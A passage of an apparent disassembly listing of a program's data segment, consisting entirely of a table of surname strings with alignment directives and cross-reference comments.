aShesko		db 'Shesko',0           ; DATA XREF: seg002:00435128o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: seg002:00435124o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: seg002:00435120o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: seg002:0043511Co
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: seg002:00435118o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: seg002:00435114o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: seg002:00435110o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: seg002:0043510Co
aShar		db 'Shar',0             ; DATA XREF: seg002:00435108o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: seg002:00435104o
aShankland	db 'Shankland',0        ; DATA XREF: seg002:00435100o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: seg002:004350FCo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: seg002:004350F8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: seg002:004350F4o
aSexton		db 'Sexton',0           ; DATA XREF: seg002:004350F0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: seg002:004350ECo
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: seg002:004350E8o
aSen		db 'Sen',0              ; DATA XREF: seg002:004350E4o
aSelvage	db 'Selvage',0          ; DATA XREF: seg002:004350E0o
aSekler		db 'Sekler',0           ; DATA XREF: seg002:004350DCo
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: seg002:004350D8o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: seg002:004350D4o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: seg002:004350D0o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: seg002:004350CCo
aScovel		db 'Scovel',0           ; DATA XREF: seg002:004350C8o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: seg002:004350C4o
aSchwan		db 'Schwan',0           ; DATA XREF: seg002:004350C0o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: seg002:004350BCo
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: seg002:004350B8o
aSchuman	db 'Schuman',0          ; DATA XREF: seg002:004350B4o
aSchossberger	db 'Schossberger',0     ; DATA XREF: seg002:004350B0o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: seg002:004350ACo
aSchilling	db 'Schilling',0        ; DATA XREF: seg002:004350A8o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: seg002:004350A4o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: seg002:004350A0o
aScheiner	db 'Scheiner',0         ; DATA XREF: seg002:0043509Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: seg002:00435098o
aScharf		db 'Scharf',0           ; DATA XREF: seg002:00435094o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: seg002:00435090o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: seg002:0043508Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: seg002:00435088o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: seg002:00435084o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: seg002:00435080o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: seg002:0043507Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: seg002:00435078o
		align 4
aSase		db 'Sase',0             ; DATA XREF: seg002:00435074o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: seg002:00435070o
aSarin		db 'Sarin',0            ; DATA XREF: seg002:0043506Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: seg002:00435068o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: seg002:00435064o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: seg002:00435060o
aSamson		db 'Samson',0           ; DATA XREF: seg002:0043505Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: seg002:00435058o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: seg002:00435054o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: seg002:00435050o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: seg002:0043504Co
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: seg002:00435048o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: seg002:00435044o
aRush_0		db 'Rush',0             ; DATA XREF: seg002:00435040o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: seg002:0043503Co
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: seg002:00435038o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: seg002:00435034o
		align 4
aRu		db 'Ru',0               ; DATA XREF: seg002:00435030o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: seg002:0043502Co
		align 4
aRow		db 'Row',0              ; DATA XREF: seg002:00435028o
aRonen		db 'Ronen',0            ; DATA XREF: seg002:00435024o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: seg002:00435020o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: seg002:0043501Co
aRocha		db 'Rocha',0            ; DATA XREF: seg002:00435018o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: seg002:00435014o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: seg002:00435010o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: seg002:0043500Co
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: seg002:00435008o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: seg002:00435004o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: seg002:00435000o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: seg002:00434FFCo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: seg002:00434FF8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: seg002:00434FF4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: seg002:00434FF0o
aRenick		db 'Renick',0           ; DATA XREF: seg002:00434FECo
		align 4
aRemak		db 'Remak',0            ; DATA XREF: seg002:00434FE8o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: seg002:00434FE4o
aCunningham	db 'Cunningham',0       ; DATA XREF: seg002:00434FE0o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: seg002:00434FDCo
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: seg002:00434FD8o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: seg002:00434FD4o
aRapple		db 'Rapple',0           ; DATA XREF: seg002:00434FD0o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: seg002:00434FCCo
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: seg002:00434FC8o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: seg002:00434FC4o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: seg002:00434FC0o
aRadeke		db 'Radeke',0           ; DATA XREF: seg002:00434FBCo
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: seg002:00434FB8o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: seg002:00434FB4o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: seg002:00434FB0o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: seg002:00434FACo
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: seg002:00434FA8o
aPugh		db 'Pugh',0             ; DATA XREF: seg002:00434FA4o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: seg002:00434FA0o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: seg002:00434F9Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: seg002:00434F98o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: seg002:00434F94o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: seg002:00434F90o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: seg002:00434F8Co
aPreucel	db 'Preucel',0          ; DATA XREF: seg002:00434F88o
aPresper	db 'Presper',0          ; DATA XREF: seg002:00434F84o
aPowers		db 'Powers',0           ; DATA XREF: seg002:00434F80o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: seg002:00434F7Co
aPoma		db 'Poma',0             ; DATA XREF: seg002:00434F78o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: seg002:00434F74o
aPolanyi	db 'Polanyi',0          ; DATA XREF: seg002:00434F70o
aPolak		db 'Polak',0            ; DATA XREF: seg002:00434F6Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: seg002:00434F68o
aPointer	db 'Pointer',0          ; DATA XREF: seg002:00434F64o
aPoincaire	db 'Poincaire',0        ; DATA XREF: seg002:00434F60o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: seg002:00434F5Co
		align 4
aPo		db 'Po',0               ; DATA XREF: seg002:00434F58o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: seg002:00434F54o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: seg002:00434F50o
aPlant		db 'Plant',0            ; DATA XREF: seg002:00434F4Co
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: seg002:00434F48o
aPinot		db 'Pinot',0            ; DATA XREF: seg002:00434F44o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: seg002:00434F40o
aPfister	db 'Pfister',0          ; DATA XREF: seg002:00434F3Co
aPettit		db 'Pettit',0           ; DATA XREF: seg002:00434F38o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: seg002:00434F34o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: seg002:00434F30o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: seg002:00434F2Co
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: seg002:00434F28o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: seg002:00434F24o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: seg002:00434F20o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: seg002:00434F1Co
aPerlak		db 'Perlak',0           ; DATA XREF: seg002:00434F18o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: seg002:00434F14o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: seg002:00434F10o
aPenny		db 'Penny',0            ; DATA XREF: seg002:00434F0Co
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: seg002:00434F08o
aPederson	db 'Pederson',0         ; DATA XREF: seg002:00434F04o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: seg002:00434F00o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: seg002:00434EFCo
aPaynter	db 'Paynter',0          ; DATA XREF: seg002:00434EF8o
aPawloski	db 'Pawloski',0         ; DATA XREF: seg002:00434EF4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: seg002:00434EF0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: seg002:00434EECo
aPattullo	db 'Pattullo',0         ; DATA XREF: seg002:00434EE8o
		align 4
aPatrick_0	db 'Patrick',0          ; DATA XREF: seg002:00434EE4o
aPatefield	db 'Patefield',0        ; DATA XREF: seg002:00434EE0o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: seg002:00434EDCo
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: seg002:00434ED8o
		align 4
aParris		db 'Parris',0           ; DATA XREF: seg002:00434ED4o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: seg002:00434ED0o
aPaoletti	db 'Paoletti',0         ; DATA XREF: seg002:00434ECCo
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: seg002:00434EC8o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: seg002:00434EC4o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: seg002:00434EC0o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: seg002:00434EBCo
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: seg002:00434EB8o
aPalepu		db 'Palepu',0           ; DATA XREF: seg002:00434EB4o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: seg002:00434EB0o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: seg002:00434EACo
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: seg002:00434EA8o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: seg002:00434EA4o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: seg002:00434EA0o
aOtten		db 'Otten',0            ; DATA XREF: seg002:00434E9Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: seg002:00434E98o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: seg002:00434E94o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: seg002:00434E90o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: seg002:00434E8Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: seg002:00434E88o
aOray		db 'Oray',0             ; DATA XREF: seg002:00434E84o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: seg002:00434E80o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: seg002:00434E7Co
aOman		db 'Oman',0             ; DATA XREF: seg002:00434E78o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: seg002:00434E74o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: seg002:00434E70o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: seg002:00434E6Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: seg002:00434E68o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: seg002:00434E64o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: seg002:00434E60o
aOh		db 'Oh',0               ; DATA XREF: seg002:00434E5Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: seg002:00434E58o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: seg002:00434E54o
aNuzum		db 'Nuzum',0            ; DATA XREF: seg002:00434E50o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: seg002:00434E4Co
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: seg002:00434E48o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: seg002:00434E44o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: seg002:00434E40o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: seg002:00434E3Co
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: seg002:00434E38o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: seg002:00434E34o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: seg002:00434E30o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: seg002:00434E2Co
aNeuman		db 'Neuman',0           ; DATA XREF: seg002:00434E28o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: seg002:00434E24o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: seg002:00434E20o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: seg002:00434E1Co
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: seg002:00434E18o
aNaviaux	db 'Naviaux',0          ; DATA XREF: seg002:00434E14o
aNardone	db 'Nardone',0          ; DATA XREF: seg002:00434E10o
aNardi		db 'Nardi',0            ; DATA XREF: seg002:00434E0Co
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: seg002:00434E08o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: seg002:00434E04o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: seg002:00434E00o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: seg002:00434DFCo
aMulroy		db 'Mulroy',0           ; DATA XREF: seg002:00434DF8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: seg002:00434DF4o
aMugnai		db 'Mugnai',0           ; DATA XREF: seg002:00434DF0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: seg002:00434DECo
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: seg002:00434DE8o
aMotooka	db 'Motooka',0          ; DATA XREF: seg002:00434DE4o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: seg002:00434DE0o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: seg002:00434DDCo
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: seg002:00434DD8o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: seg002:00434DD4o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: seg002:00434DD0o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: seg002:00434DCCo
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: seg002:00434DC8o
aMorani		db 'Morani',0           ; DATA XREF: seg002:00434DC4o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: seg002:00434DC0o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: seg002:00434DBCo
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: seg002:00434DB8o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: seg002:00434DB4o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: seg002:00434DB0o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: seg002:00434DACo
aModestino	db 'Modestino',0        ; DATA XREF: seg002:00434DA8o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: seg002:00434DA4o
aMittal		db 'Mittal',0           ; DATA XREF: seg002:00434DA0o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: seg002:00434D9Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: seg002:00434D98o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: seg002:00434D94o
aMini		db 'Mini',0             ; DATA XREF: seg002:00434D90o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: seg002:00434D8Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: seg002:00434D88o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: seg002:00434D84o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: seg002:00434D80o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: seg002:00434D7Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: seg002:00434D78o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: seg002:00434D74o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: seg002:00434D70o
aMerz		db 'Merz',0             ; DATA XREF: seg002:00434D6Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: seg002:00434D68o
aMerminod	db 'Merminod',0         ; DATA XREF: seg002:00434D64o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: seg002:00434D60o
aMerikoski	db 'Merikoski',0        ; DATA XREF: seg002:00434D5Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: seg002:00434D58o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: seg002:00434D54o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: seg002:00434D50o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: seg002:00434D4Co
aMcnealy	db 'Mcnealy',0          ; DATA XREF: seg002:00434D48o
aMclaren	db 'Mclaren',0          ; DATA XREF: seg002:00434D44o
aMclane		db 'Mclane',0           ; DATA XREF: seg002:00434D40o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: seg002:00434D3Co
aMcintosh	db 'Mcintosh',0         ; DATA XREF: seg002:00434D38o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: seg002:00434D34o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: seg002:00434D30o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: seg002:00434D2Co
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: seg002:00434D28o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: seg002:00434D24o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: seg002:00434D20o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: seg002:00434D1Co
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: seg002:00434D18o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: seg002:00434D14o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: seg002:00434D10o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: seg002:00434D0Co
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: seg002:00434D08o
aMay		db 'May',0              ; DATA XREF: seg002:00434D04o
aMauzy		db 'Mauzy',0            ; DATA XREF: seg002:00434D00o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: seg002:00434CFCo
aMatsukata	db 'Matsukata',0        ; DATA XREF: seg002:00434CF8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: seg002:00434CF4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: seg002:00434CF0o
aMass		db 'Mass',0             ; DATA XREF: seg002:00434CECo
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: seg002:00434CE8o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: seg002:00434CE4o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: seg002:00434CE0o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: seg002:00434CDCo
		align 4
aMarques	db 'Marques',0          ; DATA XREF: seg002:00434CD8o
aMargetts	db 'Margetts',0         ; DATA XREF: seg002:00434CD4o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: seg002:00434CD0o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: seg002:00434CCCo
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: seg002:00434CC8o
		align 4
aMarch		db 'March',0            ; DATA XREF: seg002:00434CC4o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: seg002:00434CC0o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: seg002:00434CBCo
aMandel		db 'Mandel',0           ; DATA XREF: seg002:00434CB8o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: seg002:00434CB4o
aMalova		db 'Malova',0           ; DATA XREF: seg002:00434CB0o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: seg002:00434CACo
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: seg002:00434CA8o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: seg002:00434CA4o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: seg002:00434CA0o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: seg002:00434C9Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: seg002:00434C98o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: seg002:00434C94o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: seg002:00434C90o
aMacy		db 'Macy',0             ; DATA XREF: seg002:00434C8Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: seg002:00434C88o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: seg002:00434C84o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: seg002:00434C80o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: seg002:00434C7Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: seg002:00434C78o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: seg002:00434C74o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: seg002:00434C70o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: seg002:00434C6Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: seg002:00434C68o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: seg002:00434C64o
aLuoma		db 'Luoma',0            ; DATA XREF: seg002:00434C60o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: seg002:00434C5Co
aLuecke		db 'Luecke',0           ; DATA XREF: seg002:00434C58o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: seg002:00434C54o
aLuciano	db 'Luciano',0          ; DATA XREF: seg002:00434C50o
aLucas		db 'Lucas',0            ; DATA XREF: seg002:00434C4Co
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: seg002:00434C48o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: seg002:00434C44o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: seg002:00434C40o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: seg002:00434C3Co
aLoss		db 'Loss',0             ; DATA XREF: seg002:00434C38o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: seg002:00434C34o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: seg002:00434C30o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: seg002:00434C2Co
aLivolsi	db 'Livolsi',0          ; DATA XREF: seg002:00434C28o
aLivi		db 'Livi',0             ; DATA XREF: seg002:00434C24o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: seg002:00434C20o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: seg002:00434C1Co
		align 10h
aLittle		db 'Little',0           ; DATA XREF: seg002:00434C18o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: seg002:00434C14o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: seg002:00434C10o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: seg002:00434C0Co
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: seg002:00434C08o
aLine		db 'Line',0             ; DATA XREF: seg002:00434C04o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: seg002:00434C00o
		align 10h
aLinda_0	db 'Linda',0            ; DATA XREF: seg002:00434BFCo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: seg002:00434BF8o
aLim		db 'Lim',0              ; DATA XREF: seg002:00434BF4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: seg002:00434BF0o
		align 10h
aLight_0	db 'Light',0            ; DATA XREF: seg002:00434BECo
		align 4
aLiem		db 'Liem',0             ; DATA XREF: seg002:00434BE8o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: seg002:00434BE4o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: seg002:00434BE0o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: seg002:00434BDCo
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: seg002:00434BD8o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: seg002:00434BD4o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: seg002:00434BD0o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: seg002:00434BCCo
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: seg002:00434BC8o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: seg002:00434BC4o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: seg002:00434BC0o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: seg002:00434BBCo
aLashley	db 'Lashley',0          ; DATA XREF: seg002:00434BB8o
aLaserna	db 'Laserna',0          ; DATA XREF: seg002:00434BB4o
aLanzit		db 'Lanzit',0           ; DATA XREF: seg002:00434BB0o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: seg002:00434BACo
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: seg002:00434BA8o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: seg002:00434BA4o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: seg002:00434BA0o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: seg002:00434B9Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: seg002:00434B98o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: seg002:00434B94o
aLa		db 'La',0               ; DATA XREF: seg002:00434B90o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: seg002:00434B8Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: seg002:00434B88o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: seg002:00434B84o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: seg002:00434B80o
aKrysiak	db 'Krysiak',0          ; DATA XREF: seg002:00434B7Co
aKroemer	db 'Kroemer',0          ; DATA XREF: seg002:00434B78o
aKraus		db 'Kraus',0            ; DATA XREF: seg002:00434B74o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: seg002:00434B70o
aKrailo		db 'Krailo',0           ; DATA XREF: seg002:00434B6Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: seg002:00434B68o
aKovaks		db 'Kovaks',0           ; DATA XREF: seg002:00434B64o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: seg002:00434B60o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: seg002:00434B5Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: seg002:00434B58o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: seg002:00434B54o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: seg002:00434B50o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: seg002:00434B4Co
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: seg002:00434B48o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: seg002:00434B44o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: seg002:00434B40o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: seg002:00434B3Co
aKnuff		db 'Knuff',0            ; DATA XREF: seg002:00434B38o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: seg002:00434B34o
		align 4
